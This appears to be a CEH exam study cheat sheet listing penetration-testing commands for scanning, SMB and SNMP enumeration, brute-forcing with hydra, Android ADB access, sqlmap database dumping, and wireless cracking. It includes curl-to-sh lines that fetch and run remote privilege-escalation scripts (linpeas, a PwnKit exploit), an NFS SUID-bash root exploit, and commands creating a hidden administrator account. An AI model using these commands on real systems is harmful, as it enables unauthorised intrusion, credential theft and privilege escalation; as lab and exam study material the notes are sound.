CEH-Notes

Enumeration

Answer

Use Case

Displays OS, Computer-Name, Domain, Workgroups and Ports

Netdiscover

netdiscover -r 192.168.0.1/24

Nmap

nmap -sn 192.168.0.0/24 -oN nmap.txt
grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}' nmap.txt > live_ip.txt
nmap -O <target_ip>
nmap -sC -sV -sS -O 192.168.0.xxx -oN nmap.txt -oN nmap_xxx.txt
cat live_ip.txt | while read ip_address; do nmap -sC -sV -sS -O "$ip_address" -oN "nmap_$ip_address.txt" -Pn ; done
nmap --script smb-os-discovery.nse 192.168.0.xxx -d
nmap -sn 10.10.10.10/24 -oN nmap.txt
nmap -sC -sV -sS -O 10.10.10.11 -oN nmap.txt
nmap -A 10.10.10.10/24 -oN nmap.txt
nmap -f IP
nmap -sn -PR IP
nmap -sn -PE ip-range
nmap -sn 10.10.10.10/24
nmap -sC -sS -sV -O IP
nmap -A IP
-sn disable port scan
-PR ARP ping scan
-PU UDP ping scan
-PE ICMP ECHO ping scan
-f  Splits IP into fragment packets

SMB-Enumeration

nmap -p xxxx --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.xxx.xxx
smbclient //192.168.xxx.xxx/<share_name>
smbclient //192.168.xxx.xxx/<share_name> -u <user>
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.xxx.xxx smb
smbget -R smb://192.168.xxx.xxx/<share_name>

RPC Bind Enumeration

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 192.168.xxx.xxx

SNMP-Enumeration

SNMP Enumeration

nmap -sU -P 161 IP
snmp-check IP

NetBios-Enumeration

nbstat -a IP
net use

FTP-Bruteforce

hydra -L /path/to/username.txt -P /path/to/password.txt ftp://192.168.0.109 -V

SSH-Bruteforce

hydra -L /path/to/username.txt -P /path/to/password.txt ssh://192.168.0.109 -V

Android

Answer

Using ADB Commands

https://n00bie.medium.com/hacking-android-using-phonesploit-ffbb2a899e6

apt-get install adb
adb devices -l
adb connect 192.168.0.x:<port>
adb shell
adb pull /path/to/file/in/android .

Using PhoneSploit

pyhton3 phonesploit.py
3 (Connect to new phone)
4 (Access shell on phone)

Entropy

Answer

ent -c your_file.elf
sha384sum your_file
ls | while read names; do ent -c $names | grep Entropy | while read entropy; do print $names have $entropy ; done; done

Vulnerability Scan

Answer

  1. OpenVAS
  2. Nessus
  3. Nikto

OpenVAS

Nessus

Nikto

nikto -h 
nikto <target> -Tuning x

WPScan

wpscan --url https://example.com/ --enumerate u (To enumerate the user)
wpscan --url http://<IP>:<Port>/CEH/ -u <user_name> -P /path/pass.txt

Final Preparation

Answer

Steganography

Answer

  1. SNOW - (Windows)
  2. Open Stego - (Windows / Linux GUI)
  3. Steghide - (Linux)

SNOW

./snow.exe -C -p <password> extract.txt

-C compressing / uncompressing -p password

Open Stego

Steghide

steghide extract -sf stg.jpg

Previlege Escalation

Answer

Linux

sudo -l 
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

PwnKit Exploit CVE-2021-4034 - Pkexec Local Privilege Escalation

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Misconfigured NFS Share

apt install nfs-common
showmount -e 192.168.xxx.xxx 
nmap -sV --script=nfs-showmount 192.168.xxx.xxx

Steps for exploitation

  1. Create temporary folder to mount misconfigured NFS Share
mkdir /tmp/nfs
  1. Mount the misconfigured NFS Share to newly created folder
mount -t nfs 192.168.xxx.xxx:/<share_name> /tmp/nfs
  1. After mounting move to the mounted share
cd /tmp/nfs
  1. Copy the bash shell into mounted directory
cp /bin/bash .
  1. Give SUID permissions to bash
chmod +s bash
  1. Login to target machine using SSH
  2. Move to the mounter share path
  3. Run the copied bash file with -p flag to get root access
./bash -p 
find / -perm -u=s -type f 2>/dev/null

Malware Analysis

Answer

BinText

PEid

Detect It Easy (DIE)

PE Explorer

Dependency Walker

Wireshark

Answer

To find DOS (SYN and ACK)

tcp.flags.syn == 1  , tcp.flags.syn == 1 and tcp.flags.ack == 0

To find passwords

http.request.method == POST

SQL Injection

Answer

Tools used for SQL Injection:

  1. SQLmap
  2. Mole
  3. Blisqy
  4. Blind-sql-bitshifting
  5. NoSQLMap

SQLmap

document.cookie
sqlmap -u <copied_profile_url> --cookie='<copied_cookie_value' -D <database_name> --tables
sqlmap -u <copied_profile_url> --cookie='<copied_cookie_value' -D <database_name> -T <table_name> --dump
sqlmap -u <copied_profile_url> --cookie='<copied_cookie_value' --os-shell

MySQL Access with username and password

mysql -U qdpmadmin -h 192.168.xxx.xxx -P <password> 
show databases;
use <database_name>;
show tables;
select * from <table_name>;

DVWA

Answer

To get the content inside specific file

hostname
whoami    
dir C:\wamp64\WWW\DVWA\hackable\uploads\ 
type C:\wamp64\WWW\DVWA\hackable\uploads\file.txt

To create new user

net user
net user Test /Add
net user
net user Test
net localgroup Administrators Test /Add

IOT Traffic Analysis

Answer

MQTT Fundamentals

MQTT Broker

MQTT Client

Topic

Payload

Message

QoS (Quality of Service)

Publish

Subscribe

Retain

Keep-alive-time

Last Will and Testament (LWT)

Wireshark Filter to analyze IOT Traffic

mqtt

Wireless Attacks

Answer

Aircrack-ng

aircrack-ng <WEP_capture_file>.cap 
aircrack-ng <WPA2_handshake_file>.cap -w /path/to/password_list.txt

RAT and Viruses

Answer

njRAT

Get-ChildItem -Path C:\ -Recurse -Filter "<file_name>.txt" -ErrorAction SilentlyContinue

Theef Trojan